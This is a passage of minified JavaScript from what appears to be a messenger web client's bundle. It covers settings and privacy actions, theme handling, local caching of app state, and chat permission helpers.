i=(0,g.jUK)(e,a);if(i.profileEdit&&i.profileEdit.progress===o.rN.InProgress)return;e=(0,p.i)(e,{profileEdit:{progress:i.profileEdit?i.profileEdit.progress:o.rN.Idle,checkedUsername:void 0,isUsernameAvailable:void 0,error:void 0}},a),(0,h.R3)(e);const{result:d,error:c}=await(0,l.t9)("checkUsername",r);e=(0,h.Rd)(),i=(0,g.jUK)(e,a),e=(0,p.i)(e,{profileEdit:{...i.profileEdit,checkedUsername:r,isUsernameAvailable:!0===d,error:c}},a),(0,h.R3)(e)})),(0,h.iw)("loadWallpapers",(async e=>{const t=await(0,l.t9)("fetchWallpapers");t&&(e=(0,h.Rd)(),e={...e,settings:{...e.settings,loadedWallpapers:t.wallpapers}},(0,h.R3)(e))})),(0,h.iw)("uploadWallpaper",(async(e,t,n)=>{const r=n,s=URL.createObjectURL(r);e={...e,settings:{...e.settings,loadedWallpapers:[{slug:o.mp,document:{fileName:"",size:r.size,mimeType:r.type,previewBlobUrl:s}},...e.settings.loadedWallpapers||[]]}},(0,h.R3)(e);const a=await(0,l.t9)("uploadWallpaper",r);if(!a)return;const{wallpaper:i}=a;if(!(e=(0,h.Rd)()).settings.loadedWallpapers)return;const d=e.settings.loadedWallpapers[0];if(!d||d.slug!==o.mp)return;const c={...i,document:{...i.document,previewBlobUrl:s}};e={...e,settings:{...e.settings,loadedWallpapers:[c,...e.settings.loadedWallpapers.slice(1)]}},(0,h.R3)(e)})),(0,h.iw)("loadBlockedUsers",(async e=>{const t=await(0,l.t9)("fetchBlockedUsers",{});t&&(e=(0,h.Rd)(),t.users?.length&&(e=(0,m.Sh)(e,(0,a.ee)(t.users,"id"))),t.chats?.length&&(e=(0,m.GL)(e,(0,a.ee)(t.chats,"id"))),e={...e,blocked:{ids:t.blockedIds,totalCount:t.totalCount}},(0,h.R3)(e))})),(0,h.iw)("blockUser",(async(e,t,n)=>{const{userId:o,isOnlyStories:r}=n,s=(0,g.dyD)(e,o);s&&await(0,l.t9)("blockUser",{user:s,isOnlyStories:r||void 0})&&(e=(0,h.Rd)(),e=(0,m.h7)(e,o),(0,h.R3)(e))})),(0,h.iw)("unblockUser",(async(e,t,n)=>{const{userId:o,isOnlyStories:r}=n,s=(0,g.dyD)(e,o);s&&await(0,l.t9)("unblockUser",{user:s,isOnlyStories:r||void 0})&&(e=(0,h.Rd)(),e=(0,m.kw)(e,o),(0,h.R3)(e))})),(0,h.iw)("loadNotificationExceptions",(async e=>{const t=await(0,l.t9)("fetchNotificationExceptions");t&&(e=(0,h.Rd)(),e=(0,m.aJ)(e,t),(0,h.R3)(e))})),(0,h.iw)("loadNotificationSettings",(async e=>{const t=await(0,l.t9)("fetchNotificationSettings");t&&(e=(0,h.Rd)(),e=(0,m.BI)(e,t),(0,h.R3)(e))})),(0,h.iw)("updateNotificationSettings",(async(e,t,n)=>{const{peerType:o,isSilent:r,shouldShowPreviews:s}=n;await(0,l.t9)("updateNotificationSettings",o,{isSilent:r,shouldShowPreviews:s})&&(e=(0,h.Rd)(),e=(0,m.HN)(e,o,r,s),(0,h.R3)(e))})),(0,h.iw)("updateWebNotificationSettings",(async(e,t,n)=>{const o=e.settings.byKey;e=(0,m.BI)(e,n),(0,h.R3)(e);const{hasWebNotifications:r,hasPushNotifications:s}=e.settings.byKey;!o.hasPushNotifications&&s&&await(0,d.Ld)(),o.hasPushNotifications&&!s&&await(0,d.r1)(),!o.hasWebNotifications&&r&&(await(0,d.ZK)()||(e=(0,h.Rd)(),e=(0,m.BI)(e,{hasWebNotifications:!1}),(0,h.R3)(e)))})),(0,h.iw)("updateContactSignUpNotification",(async(e,t,n)=>{const{isSilent:o}=n;await(0,l.t9)("updateContactSignUpNotification",o)&&(e=(0,h.Rd)(),e=(0,m.BI)(e,{hasContactJoinedNotifications:!o}),(0,h.R3)(e))})),(0,h.iw)("loadLanguages",(async e=>{const t=await(0,l.t9)("fetchLanguages");t&&(e=(0,h.Rd)(),e=(0,m.BI)(e,{languages:t}),(0,h.R3)(e))})),(0,h.iw)("loadPrivacySettings",(async e=>{const t=await Promise.all([(0,l.t9)("fetchPrivacySettings","phoneNumber"),(0,l.t9)("fetchPrivacySettings","addByPhone"),(0,l.t9)("fetchPrivacySettings","lastSeen"),(0,l.t9)("fetchPrivacySettings","profilePhoto"),(0,l.t9)("fetchPrivacySettings","forwards"),(0,l.t9)("fetchPrivacySettings","chatInvite"),(0,l.t9)("fetchPrivacySettings","phoneCall"),(0,l.t9)("fetchPrivacySettings","phoneP2P"),(0,l.t9)("fetchPrivacySettings","voiceMessages"),(0,l.t9)("fetchPrivacySettings","bio")]);if(t.some((e=>void 0===e)))return;const[n,o,r,s,i,d,c,u,f,p]=t,g=t.flatMap((e=>e.users));e=(0,h.Rd)(),e=(0,m.Sh)(e,(0,a.ee)(g,"id")),e={...e,settings:{...e.settings,privacy:{...e.settings.privacy,phoneNumber:n.rules,addByPhone:o.rules,lastSeen:r.rules,profilePhoto:s.rules,forwards:i.rules,chatInvite:d.rules,phoneCall:c.rules,phoneP2P:u.rules,voiceMessages:f.rules,bio:p.rules}}},(0,h.R3)(e)})),(0,h.iw)("setPrivacyVisibility",(async(e,t,n)=>{const{privacyKey:o,visibility:r}=n,{privacy:{[o]:s}}=e.settings;if(!s)return;const i=(0,f.wA)(e,{visibility:r,allowedIds:[...s.allowUserIds,...s.allowChatIds],blockedIds:[...s.blockUserIds,...s.blockChatIds]}),d=await(0,l.t9)("setPrivacySettings",o,i);d&&(e=(0,h.Rd)(),e=(0,m.Sh)(e,(0,a.ee)(d.users,"id")),e={...e,settings:{...e.settings,privacy:{...e.settings.privacy,[o]:d.rules}}},(0,h.R3)(e))})),(0,h.iw)("setPrivacySettings",(async(e,t,n)=>{const{privacyKey:o,isAllowList:r,updatedIds:s}=n,{privacy:{[o]:i}}=e.settings;if(!i)return;const d=(0,f.wA)(e,{visibility:i.visibility,isUnspecified:i.isUnspecified,allowedIds:r?s:[...i.allowUserIds,...i.allowChatIds],blockedIds:r?[...i.blockUserIds,...i.blockChatIds]:s}),c=await(0,l.t9)("setPrivacySettings",o,d);c&&(e=(0,h.Rd)(),e=(0,m.Sh)(e,(0,a.ee)(c.users,"id")),e={...e,settings:{...e.settings,privacy:{...e.settings.privacy,[o]:c.rules}}},(0,h.R3)(e))})),(0,h.iw)("updateIsOnline",((e,t,n)=>{"connectionStateReady"===e.connectionState&&(0,l.t9)("updateIsOnline",n)})),(0,h.iw)("loadContentSettings",(async e=>{const t=await(0,l.t9)("fetchContentSettings");t&&(e=(0,h.Rd)(),e=(0,m.BI)(e,t),(0,h.R3)(e))})),(0,h.iw)("updateContentSettings",(async(e,t,n)=>{e=(0,m.BI)(e,{isSensitiveEnabled:n}),(0,h.R3)(e),await(0,l.t9)("updateContentSettings",n)||(e=(0,h.Rd)(),e=(0,m.BI)(e,{isSensitiveEnabled:!n}),(0,h.R3)(e))})),(0,h.iw)("loadCountryList",(async(e,t,n)=>{let{langCode:o}=n;o||(o=e.settings.byKey.language);const r=await(0,l.t9)("fetchCountryList",{langCode:o});r&&(e=(0,h.Rd)(),e={...e,countryList:r},(0,h.R3)(e))})),(0,h.iw)("ensureTimeFormat",(async(e,t,n)=>{const{tabId:o=(0,s._w)()}=n||{};if(e.authNearestCountry){const n=r.FDD.has(e.authNearestCountry.toUpperCase())?"12h":"24h";t.setSettingOption({timeFormat:n,tabId:o}),(0,i.qf)(n)}if(e.settings.byKey.wasTimeFormatSetManually)return;const a=await(0,l.t9)("fetchNearestCountry");if(a){const e=r.FDD.has(a.toUpperCase())?"12h":"24h";t.setSettingOption({timeFormat:e,tabId:o}),(0,i.qf)(e)}})),(0,h.iw)("loadAppConfig",(async(e,t,n)=>{const o=n?.hash,s=await(0,l.t9)("fetchAppConfig",o);s&&((0,c.Z)({action:"loadAppConfig",payload:{hash:s.hash}},r.sux),e=(0,h.Rd)(),e={...e,appConfig:s},(0,h.R3)(e))})),(0,h.iw)("loadConfig",(async e=>{const t=await(0,l.t9)("fetchConfig");if(!t)return;e=(0,h.Rd)();const n=t.expiresAt-(0,u.bp)();(0,c.Z)({action:"loadConfig",payload:void 0},1e3*n),e={...e,config:t},(0,h.R3)(e)})),(0,h.iw)("loadPeerColors",(async e=>{const t=e.peerColors?.generalHash,n=await(0,l.t9)("fetchPeerColors",t);n&&(e=(0,h.Rd)(),e={...e,peerColors:{...e.peerColors,general:n.colors,generalHash:n.hash}},(0,h.R3)(e))})),(0,h.iw)("loadGlobalPrivacySettings",(async e=>{const t=await(0,l.t9)("fetchGlobalPrivacySettings");t&&(e=(0,h.Rd)(),e=(0,m.BI)(e,{shouldArchiveAndMuteNewNonContact:t.shouldArchiveAndMuteNewNonContact}),(0,h.R3)(e))})),(0,h.iw)("updateGlobalPrivacySettings",(async(e,t,n)=>{const{shouldArchiveAndMuteNewNonContact:o}=n;e=(0,m.BI)(e,{shouldArchiveAndMuteNewNonContact:o}),(0,h.R3)(e);const r=await(0,l.t9)("updateGlobalPrivacySettings",{shouldArchiveAndMuteNewNonContact:o});e=(0,h.Rd)(),e=(0,m.BI)(e,{shouldArchiveAndMuteNewNonContact:r?r.shouldArchiveAndMuteNewNonContact:!o}),(0,h.R3)(e)})),(0,h.iw)("toggleUsername",(async(e,t,n)=>{const{username:o,isActive:r}=n,{currentUserId:s}=e;if(!s)return;const a=(0,g.dyD)(e,s);if(!a?.usernames)return;const i=a.usernames.map((e=>e.username!==o?e:{...e,isActive:r||void 0}));e=(0,m.Nq)(e,s,{usernames:i}),(0,h.R3)(e),await(0,l.t9)("toggleUsername",{username:o,isActive:r})||t.loadFullUser({userId:s})})),(0,h.iw)("toggleChatUsername",(async(e,t,n)=>{const{chatId:o,username:r,isActive:a,tabId:i=(0,s._w)()}=n,d=(0,g.Z1J)(e,o);if(!d?.usernames)return;const c=d.usernames.map((e=>e.username!==r?e:{...e,isActive:a||void 0}));e=(0,m.a4)(e,o,{usernames:c}),(0,h.R3)(e),await(0,l.t9)("toggleUsername",{chatId:d.id,accessHash:d.accessHash,username:r,isActive:a})||t.loadFullChat({chatId:o,tabId:i})})),(0,h.iw)("sortUsernames",(async(e,t,n)=>{const{usernames:o}=n,{currentUserId:r}=e;r&&(await(0,l.t9)("reorderUsernames",{usernames:o})||t.loadUser({userId:r}))})),(0,h.iw)("sortChatUsernames",(async(e,t,n)=>{const{chatId:o,usernames:r}=n,s=(0,g.Z1J)(e,o);if(!s)return;const a=[...s.usernames],i=s.usernames.reduce(((e,t)=>(e[r.findIndex((e=>e===t.username))]=t,e)),[]);e=(0,m.a4)(e,o,{usernames:i}),(0,h.R3)(e),await(0,l.t9)("reorderUsernames",{chatId:s.id,accessHash:s.accessHash,usernames:r})||(e=(0,h.Rd)(),e=(0,m.a4)(e,o,{usernames:a}),(0,h.R3)(e))}))},89005:(e,t,n)=>{var o=n(65116),r=n(57710),s=n(65054),a=n(59692),i=n(28406),d=n(95281),c=n(99349),u=n(50214),l=n(27370),f=n(29456),h=n(706),m=n(97184),p=n(92387),g=n(5872),y=n(33555),b=n(41020),v=n(44271),w=n(7054);(0,f.o)((e=>{let t=(0,y.Rd)();t.settings.byKey.shouldUseSystemTheme&&(t=(0,b.BI)(t,{theme:e}),(0,y.R3)(t))})),(0,y.iw)("switchMultitabRole",(async(e,t,n)=>{const{isMasterTab:o,tabId:r=(0,s._w)()}=n;if(o!==(0,w.jUK)(e,r).isMasterTab)if(e=(0,v.i)(e,{isMasterTab:o},r),(0,y.R3)(e,{forceSyncOnIOs:!0}),o){if(e.passcode.hasPasscode&&!e.passcode.isScreenLocked){const{sessionJson:e}=await(0,d.o6)(),t=JSON.parse(e);(0,u.wX)(t,t.userId)}(0,u.ti)(!0)&&(0,g.$S)(),(e=(0,y.Rd)()).passcode.hasPasscode&&e.passcode.isScreenLocked||("connectionStateReady"===e.connectionState&&(e={...e,connectionState:"connectionStateConnecting"},(0,y.R3)(e)),t.initApi()),(0,h.px)()}else(0,i.r1)(),t.destroyConnection(),(0,h.NA)(),(0,g.VJ)(),t.onSomeTabSwitchedMultitabRole();else(0,p.t9)("broadcastLocalDbUpdateFull")})),(0,y.iw)("onSomeTabSwitchedMultitabRole",(async e=>{if(e.passcode.hasPasscode&&!e.passcode.isScreenLocked){const{sessionJson:e}=await(0,d.o6)(),t=JSON.parse(e);(0,u.wX)(t,t.userId)}(0,p.t9)("broadcastLocalDbUpdateFull")})),(0,y.iw)("initShared",(()=>{(0,h.px)()})),(0,y.iw)("initMain",(e=>{const{hasWebNotifications:t,hasPushNotifications:n}=(0,w.dZI)(e);if(t&&n){const e=["click","keypress"],t=()=>{(0,i.Ld)(),e.forEach((e=>{document.removeEventListener(e,t)}))};e.forEach((e=>{document.addEventListener(e,t,{once:!0})}))}})),(0,o.ll)((e=>{let t=!1;const n=(0,w.jUK)(e,(0,s._w)());if(!n?.shouldInit)return;e=(0,y.Rd)(),e=(0,v.i)(e,{shouldInit:!1},n.id);const{messageTextSize:o,language:i}=e.settings.byKey,d=(0,w.Puy)(e),u=(0,f.v)(),p=e.settings.byKey.shouldUseSystemTheme?u:d,g=(0,w.yf2)(e);(0,a.m0)(i,void 0,!0),(0,r.WM)((()=>{document.documentElement.style.setProperty("--composer-text-size",`${Math.max(o,m.cj?16:15)}px`),document.documentElement.style.setProperty("--message-meta-height",`${Math.floor(1.3125*o)}px`),document.documentElement.style.setProperty("--message-text-size",`${o}px`),document.documentElement.setAttribute("data-message-text-size",o.toString()),document.body.classList.add("initial"),document.body.classList.add(m.$b?"is-touch-env":"is-pointer-env"),(0,c.d)(g),m.cj?document.body.classList.add("is-ios"):m.wZ?document.body.classList.add("is-android"):m.jm?document.body.classList.add("is-macos"):m.qB?document.body.classList.add("is-windows"):m.m2&&document.body.classList.add("is-linux"),m.s$&&document.body.classList.add("is-safari"),m.D$&&document.body.classList.add("is-electron")}));const I=(0,w.FOo)(e);(0,l.ZP)(p,I),e=(0,b.BI)(e,{theme:p}),(0,h.px)(),t=!0,(0,y.R3)(e)})),(0,y.iw)("setInstallPrompt",((e,t,n)=>{const{canInstall:o,tabId:r=(0,s._w)()}=n;return(0,v.i)(e,{canInstall:o},r)})),(0,y.iw)("setIsUiReady",((e,t,n)=>{const{uiReadyState:o,tabId:a=(0,s._w)()}=n;return 2===o&&(0,r.WM)((()=>{document.body.classList.remove("initial")})),(0,v.i)(e,{uiReadyState:o},a)})),(0,y.iw)("setAuthPhoneNumber",((e,t,n)=>{const{phoneNumber:o}=n;return{...e,authPhoneNumber:o}})),(0,y.iw)("setAuthRememberMe",((e,t,n)=>({...e,authRememberMe:Boolean(n)}))),(0,y.iw)("clearAuthError",(e=>({...e,authError:void 0}))),(0,y.iw)("disableHistoryAnimations",((e,t,n)=>{const{tabId:o=(0,s._w)()}=n||{};setTimeout((()=>{e=(0,y.Rd)(),e=(0,v.i)(e,{shouldSkipHistoryAnimations:!1},o),(0,y.R3)(e),(0,r.WM)((()=>{document.body.classList.remove("no-animate")}))}),450),e=(0,v.i)(e,{shouldSkipHistoryAnimations:!0},o),(0,y.R3)(e,{forceSyncOnIOs:!0})}))},73456:(e,t,n)=>{var o=n(65116),r=n(91713),s=n(57710),a=n(30879),i=n(65054),d=n(59692),c=n(99349),u=n(27370),l=n(80009),f=n(97184),h=n(92387),m=n(33555),p=n(41020),g=n(44271),y=n(7054);let b;(0,o.ll)((e=>{const{updatePageTitle:t,updateShouldDebugExportedSenders:n,updateShouldEnableDebugLog:o}=(0,m.Sv)(),r=b;if(b=e,!r)return;const a=e.settings.byKey,i=r.settings.byKey,p=e.settings.performance,g=r.settings.performance,v=e.peerColors,w=r.peerColors;if(v&&v!==w&&(0,l.s)(v.general),p!==g&&(0,s.WM)((()=>{(0,c.d)(p)})),a.theme!==i.theme){const t=!!document.hasFocus()&&(0,y.FOo)(e);(0,u.ZP)(a.theme,t)}a.language!==i.language&&(0,d.m0)(a.language),a.timeFormat!==i.timeFormat&&(0,d.qf)(a.timeFormat),a.messageTextSize!==i.messageTextSize&&(document.documentElement.style.setProperty("--composer-text-size",`${Math.max(a.messageTextSize,f.cj?16:15)}px`),document.documentElement.style.setProperty("--message-meta-height",`${Math.floor(1.3125*a.messageTextSize)}px`),document.documentElement.style.setProperty("--message-text-size",`${a.messageTextSize}px`),document.documentElement.setAttribute("data-message-text-size",a.messageTextSize.toString())),a.canDisplayChatInTitle!==i.canDisplayChatInTitle&&t(),a.shouldForceHttpTransport!==i.shouldForceHttpTransport&&(0,h.t9)("setForceHttpTransport",Boolean(a.shouldForceHttpTransport)),a.shouldAllowHttpTransport!==i.shouldAllowHttpTransport&&((0,h.t9)("setAllowHttpTransport",Boolean(a.shouldAllowHttpTransport)),!a.shouldAllowHttpTransport&&a.shouldForceHttpTransport&&(e=(0,m.Rd)(),e={...e,settings:{...e.settings,byKey:{...e.settings.byKey,shouldForceHttpTransport:!1}}},(0,m.R3)(e))),a.shouldDebugExportedSenders!==i.shouldDebugExportedSenders&&n(),a.shouldCollectDebugLogs!==i.shouldCollectDebugLogs&&o()})),(0,m.iw)("updateShouldEnableDebugLog",(e=>{const{settings:t}=e;t.byKey.shouldCollectDebugLogs?((0,h.Cp)(!0),(0,a.$$)()):((0,h.Cp)(!1),(0,a.eP)())})),(0,m.iw)("updateShouldDebugExportedSenders",(e=>{const{settings:t}=e;(0,h.t9)("setShouldDebugExportedSenders",Boolean(t.byKey.shouldDebugExportedSenders))})),(0,m.iw)("setSettingOption",((e,t,n)=>(0,p.BI)(e,n))),(0,m.iw)("updatePerformanceSettings",((e,t,n)=>({...e,settings:{...e.settings,performance:{...e.settings.performance,...n}}}))),(0,m.iw)("setThemeSettings",((e,t,n)=>{const{theme:o,...r}=n;return(0,p.lr)(e,o,r)})),(0,m.iw)("requestNextSettingsScreen",((e,t,n)=>{const{screen:o,foldersAction:r,tabId:s=(0,i._w)()}=n;return(0,g.i)(e,{nextSettingsScreen:o,nextFoldersAction:r},s)})),(0,m.iw)("openEditChatFolder",((e,t,n)=>{const{folderId:o,isOnlyInvites:s,tabId:a=(0,i._w)()}=n,d=(0,y.MwT)(e,o);d&&t.requestNextSettingsScreen({screen:s?r.MT.FoldersEditFolderInvites:r.MT.FoldersEditFolderFromChatList,foldersAction:{type:"editFolder",payload:d},tabId:a})})),(0,m.iw)("openShareChatFolderModal",((e,t,n)=>{const{folderId:o,url:s,noRequestNextScreen:a,tabId:d=(0,i._w)()}=n,c=(0,y.MwT)(e,o),u=c?.isChatList;if(!u||a)return a||t.requestNextSettingsScreen({screen:r.MT.FoldersShare,tabId:d}),(0,g.i)(e,{shareFolderScreen:{folderId:o,isFromSettings:Boolean(a),url:s}},d);t.openEditChatFolder({folderId:o,isOnlyInvites:!0,tabId:d})})),(0,m.iw)("closeShareChatFolderModal",((e,t,n)=>{const{tabId:o=(0,i._w)()}=n||{};return t.requestNextSettingsScreen({screen:void 0,tabId:o}),(0,g.i)(e,{shareFolderScreen:void 0},o)}))},5872:(e,t,n)=>{n.d(t,{$S:()=>S,J9:()=>C,QS:()=>I,Uf:()=>M,VJ:()=>E,jA:()=>T,nE:()=>P});var o=n(65116),r=n(6137),s=n(83716),a=n(16974),i=n(60782),d=n(95281),c=n(69118),u=n(50214),l=n(4463),f=n(33555),h=n(35369),m=n(41020),p=n(7054),g=n(42797),y=n(18674);const b=(0,c.P2)((()=>(0,c.Q8)(k)),5e3,!1);let v,w=!1;function I(){s.sdb||((0,f.iw)("saveSession",(()=>{w||S()})),(0,f.iw)("reset",(()=>{localStorage.removeItem(s.UhJ),w&&E()})))}function C(e){if(s.sdb)return;const t=function(e){s.eMD&&console.time("global-state-cache-read");const t=localStorage.getItem(s.UhJ),n=t?JSON.parse(t):void 0;s.eMD&&console.timeEnd("global-state-cache-read"),n&&P(n,e);return{...e,...n}}(e);return t.passcode.hasPasscode||(0,u.ti)(!0)?(S(),t):void E()}function S(){w=!0,v=(0,c.Gq)(k,!0),window.addEventListener("blur",k),(0,o.ll)(b)}function E(){w=!1,(0,o.Iq)(b),window.removeEventListener("blur",k),v&&v()}function P(e,t){try{!function(e,t){const n=e;e.settings.byKey={...t.settings.byKey,...e.settings.byKey},e.settings.themes={...t.settings.themes,...e.settings.themes},e.chatFolders={...t.chatFolders,...e.chatFolders},e.settings.performance||(e.settings.byKey.animationLevel===s.oBh?e.settings.performance=h.ww:e.settings.byKey.animationLevel===s.mzL?e.settings.performance=h.LN:e.settings.performance=t.settings.performance),e.settings.performance={...t.settings.performance,...e.settings.performance},e.appConfig&&!e.appConfig.limits&&(e.appConfig.limits=s.prK),"string"==typeof e.config?.defaultReaction&&(e.config.defaultReaction={emoticon:e.config.defaultReaction}),"string"==typeof e.availableReactions?.[0].reaction&&(e.availableReactions=e.availableReactions.map((e=>({...e,reaction:{emoticon:e.reaction}})))),e.archiveSettings||(e.archiveSettings=t.archiveSettings),e.stories||(e.stories=t.stories),e.stories.stealthMode||(e.stories.stealthMode=t.stories.stealthMode),e.stories.byPeerId||(e.stories.byPeerId=t.stories.byPeerId,e.stories.orderedPeerIds=t.stories.orderedPeerIds),e.chats.similarChannelsById||(e.chats.similarChannelsById=t.chats.similarChannelsById),n?.appConfig?.peerColors&&(n.appConfig.peerColors=void 0,n.appConfig.darkPeerColors=void 0)}(e,t)}catch(e){console.error(e)}}function k(){const e=(0,f.Rd)();!w||e.isLoggingOut||(0,y.zG)()||T()}function T(e=!1){const t=(0,f.Rd)(),{hasPasscode:n,isScreenLocked:o}=t.passcode,r=M(t);if(n){o||e||(0,d.H4)(void 0,r);const n=JSON.stringify((0,m.ZI)(t,!1));localStorage.setItem(s.UhJ,n)}else localStorage.setItem(s.UhJ,r)}function M(e){const t={...h.g9,...(0,i.ei)(e,["appConfig","authState","authPhoneNumber","authRememberMe","authNearestCountry","currentUserId","contactList","topPeers","topInlineBots","recentEmojis","recentCustomEmojis","topReactions","recentReactions","push","serviceNotifications","attachmentSettings","leftColumnWidth","archiveSettings","mediaViewer","audioPlayer","shouldShowContextMenuHint","trustedBotIds","recentlyFoundChatIds","peerColors"]),lastIsChatInfoShown:(0,g.W7)()?void 0:e.lastIsChatInfoShown,customEmojis:A(e),users:L(e),chats:N(e),messages:R(e),settings:Z(e),chatFolders:D(e),groupCalls:B(e),availableReactions:O(e),passcode:(0,i.ei)(e.passcode,["isScreenLocked","hasPasscode","invalidAttemptsCount","timeoutUntil"])};return JSON.stringify(t)}function A(e){const{lastRendered:t,byId:n}=e.customEmojis,o=t.slice(0,s.j7i);return{byId:(0,i.ei)(n,o),lastRendered:o,forEmoji:{},added:{},statusRecent:{}}}function L(e){const{users:{byId:t,statusesById:n,fullInfoById:o},currentUserId:r}=e,d=(0,i.oA)(Object.values(e.byTabId).map((({id:t})=>(0,p.Btg)(e,t)))).map((({chatId:e})=>e)).filter((e=>(0,l.YC)(e))),c=(0,i.Tw)((0,i.oA)(Object.values(e.byTabId).flatMap((({id:t})=>(0,p.P2Q)(e,t)?.map((e=>e.id))||[])))),u=d.flatMap((t=>Object.values((0,p.Zwk)(e,t)||{}))).map((e=>e.content.storyData?.peerId||e.content.webPage?.story?.peerId)).filter((e=>Boolean(e)&&(0,l.YC)(e))),f=(0,i.Tw)([...r?[r]:[],...d,...u,...c||[],...e.topPeers.userIds||[],...(0,a.gO)(s.NfV)?.filter(l.YC)||[],...(0,a.gO)(s.WSp)?.filter(l.YC)||[],...e.contactList?.userIds||[],...e.recentlyFoundChatIds?.filter(l.YC)||[],...Object.keys(t)]).slice(0,s.lOz);return{byId:(0,i.ei)(t,f),statusesById:(0,i.ei)(n,f),fullInfoById:(0,i.ei)(o,f)}}function N(e){const{chats:{byId:t},currentUserId:n}=e,o=(0,i.oA)(Object.values(e.byTabId).map((({id:t})=>(0,p.Btg)(e,t)))).map((({chatId:e})=>e)),r=(0,i.oA)(Object.values(e.byTabId).flatMap((({id:t})=>{const n=(0,p.Btg)(e,t);if(!n)return;const o=(0,p.Zwk)(e,n.chatId),r=(0,p.Cbz)(e,n.chatId,n.threadId,t);return r?.map((e=>{const t=o[e];if(!t)return;const n=t.content,r="message"===t.replyInfo?.type&&t.replyInfo.replyToPeerId;return n.storyData?.peerId||n.webPage?.story?.peerId||r}))}))),d=(0,i.Tw)([...n?[n]:[],...o,...r,...(0,a.gO)(s.NfV)||[],...(0,a.gO)(s.WSp)||[],...e.recentlyFoundChatIds||[],...Object.keys(t)]).slice(0,s.gJR);return{...e.chats,similarChannelsById:{},isFullyLoaded:{},byId:(0,i.ei)(e.chats.byId,d),fullInfoById:(0,i.ei)(e.chats.fullInfoById,d)}}function R(e){const{currentUserId:t}=e,n={},o=(0,i.oA)(Object.values(e.byTabId).map((({id:t})=>(0,p.Btg)(e,t)))).map((({chatId:e})=>e)),d=(0,i.oA)(Object.values(e.byTabId).map((({forumPanelChatId:e})=>e)));return(0,i.Tw)([...o,...t?[t]:[],...d,...(0,a.gO)(s.NfV)?.slice(0,s.Rk9)||[]]).forEach((t=>{const o=e.messages.byChatId[t];if(!o)return;const s=(0,p.Z1J)(e,t),a=(0,i.Tw)((0,i.oA)(Object.values(e.byTabId).map((({id:n})=>{const{chatId:o,threadId:s}=(0,p.Btg)(e,n)||{};if(o&&o===t&&s&&s!==r._f)return s})).concat(Object.values(e.messages.byChatId[t].threadsById||{}).map((({threadInfo:e})=>e?.isCommentsInfo?e?.originMessageId:void 0))))),d=a.length?[r._f,...a]:[r._f],c=(0,i.q0)(o.threadsById,d);if(!Object.keys(c).length)return;const u=(0,i.Tw)(Object.values(c).flatMap((e=>e.lastViewportIds||[]))),l=s?.topics?Object.values(s.topics).map((({lastMessageId:e})=>e)):[],f=(0,i.ei)(o.byId,u.concat(l)),h=Object.keys(c).reduce(((e,t)=>{const n=c[Number(t)];return e[Number(t)]={...n,listedIds:n.lastViewportIds,pinnedIds:void 0,typingStatus:void 0},e}),{});n[t]={byId:f,threadsById:h}})),{byChatId:n,sponsoredByChatId:{}}}function Z(e){const{byKey:t,themes:n,performance:o}=e.settings;return{byKey:t,themes:n,performance:o,privacy:{},notifyExceptions:{}}}function D(e){return{...e.chatFolders}}function B(e){return{...e.groupCalls,byId:{},activeGroupCallId:void 0}}function O(e){return e.availableReactions?.map((e=>(0,i.ei)(e,["reaction","staticIcon","title","isInactive"])))}},22825:(e,t,n)=>{n.d(t,{$l:()=>V,AY:()=>W,Bf:()=>g,EC:()=>z,G9:()=>y,GU:()=>L,H5:()=>Z,Hp:()=>T,Mg:()=>N,Nl:()=>M,Qm:()=>R,R0:()=>K,RT:()=>k,Ru:()=>w,SB:()=>j,Sb:()=>H,Sm:()=>_,U:()=>E,VE:()=>A,Wd:()=>p,YC:()=>h,Yg:()=>m,ZV:()=>b,cc:()=>F,eA:()=>v,hu:()=>P,i4:()=>x,ih:()=>U,kj:()=>G,l6:()=>C,mt:()=>B,pE:()=>O,pK:()=>I,q8:()=>D,zF:()=>$,zX:()=>S});var o=n(6137),r=n(83716),s=n(790),a=n(60782),i=n(85765),d=n(33555),c=n(93311);const u=Date.now()/1e3+31622400,l=3e9,f=3e8;function h(e){return!e.startsWith("-")}function m(e){return`-100${e}`}function p(e){return"title"in e}function g(e){return y(e)||b(e)}function y(e){return"chatTypeBasicGroup"===e.type}function b(e){return"chatTypeSuperGroup"===e.type}function v(e){return"chatTypeChannel"===e.type}function w(e){return"chatTypePrivate"===e.type||"chatTypeBasicGroup"===e.type}function I(e){return e===r.FVh}function C(e){switch(e.type){case"chatTypePrivate":return"PrivateChat";case"chatTypeBasicGroup":case"chatTypeSuperGroup":return"AccDescrGroup";case"chatTypeChannel":return"AccDescrChannel";default:return"Chat"}}function S(e){if("chatTypePrivate"===e.type||"chatTypeSecret"===e.type)return e.id}function E(e,t,n=!1){return n?e("SavedMessages"):t.title||e("HiddenName")}function P(e){const t=(0,c.WS)(e);return t?`${r.zHP}${t}`:void 0}function k(e,t="normal",n=e.avatarHash){if(n)return"big"===t?`profile${e.id}?${n}`:`avatar${e.id}?${n}`}function T(e){return!e.lastMessage}function M(e){return Boolean(e.adminRights)}function A(e,t){return!!e.adminRights&&e.adminRights[t]}function L(e,t){return t.id===r.OxA?e.isCreator:e.isCreator||A(e,"manageTopics")||t.isOwner}function N(e,t){return Boolean(e.currentUserBannedRights?.[t]||e.defaultBannedRights?.[t])}function R(e,t,n){if(t!==o._f&&e.isForum){if(e.isNotJoined)return!1;const n=e.topics?.[t];if(n?.isClosed&&!n.isOwner&&!A(e,"manageTopics"))return!1}return!(e.isRestricted||e.isForbidden||e.migratedTo||!n&&e.isNotJoined||I(e.id))&&(!!e.isCreator||!!h(e.id)||(v(e)?A(e,"postMessages"):M(e)||!N(e,"sendMessages")))}function Z(e,t=!1,n=!1){if(!e)return{canAttachMedia:!1,canAttachPolls:!1,canSendStickers:!1,canSendGifs:!1,canAttachEmbedLinks:!1,canSendPhotos:!1,canSendVideos:!1,canSendRoundVideos:!1,canSendAudios:!1,canSendVoices:!1,canSendPlainText:!1,canSendDocuments:!1};const o=M(e);return{canAttachMedia:o||n||!N(e,"sendMedia"),canAttachPolls:!n&&(o||!N(e,"sendPolls"))&&(!h(e.id)||t),canSendStickers:o||n||!N(e,"sendStickers"),canSendGifs:o||n||!N(e,"sendGifs"),canAttachEmbedLinks:!n&&(o||!N(e,"embedLinks")),canSendPhotos:o||n||!N(e,"sendPhotos"),canSendVideos:o||n||!N(e,"sendVideos"),canSendRoundVideos:o||n||!N(e,"sendRoundvideos"),canSendAudios:o||n||!N(e,"sendAudios"),canSendVoices:o||n||!N(e,"sendVoices"),canSendPlainText:o||n||!N(e,"sendPlain"),canSendDocuments:o||n||!N(e,"sendDocs")}}function D(e,t,n){if(t?.sendMessages){const{untilDate:n}=t;return 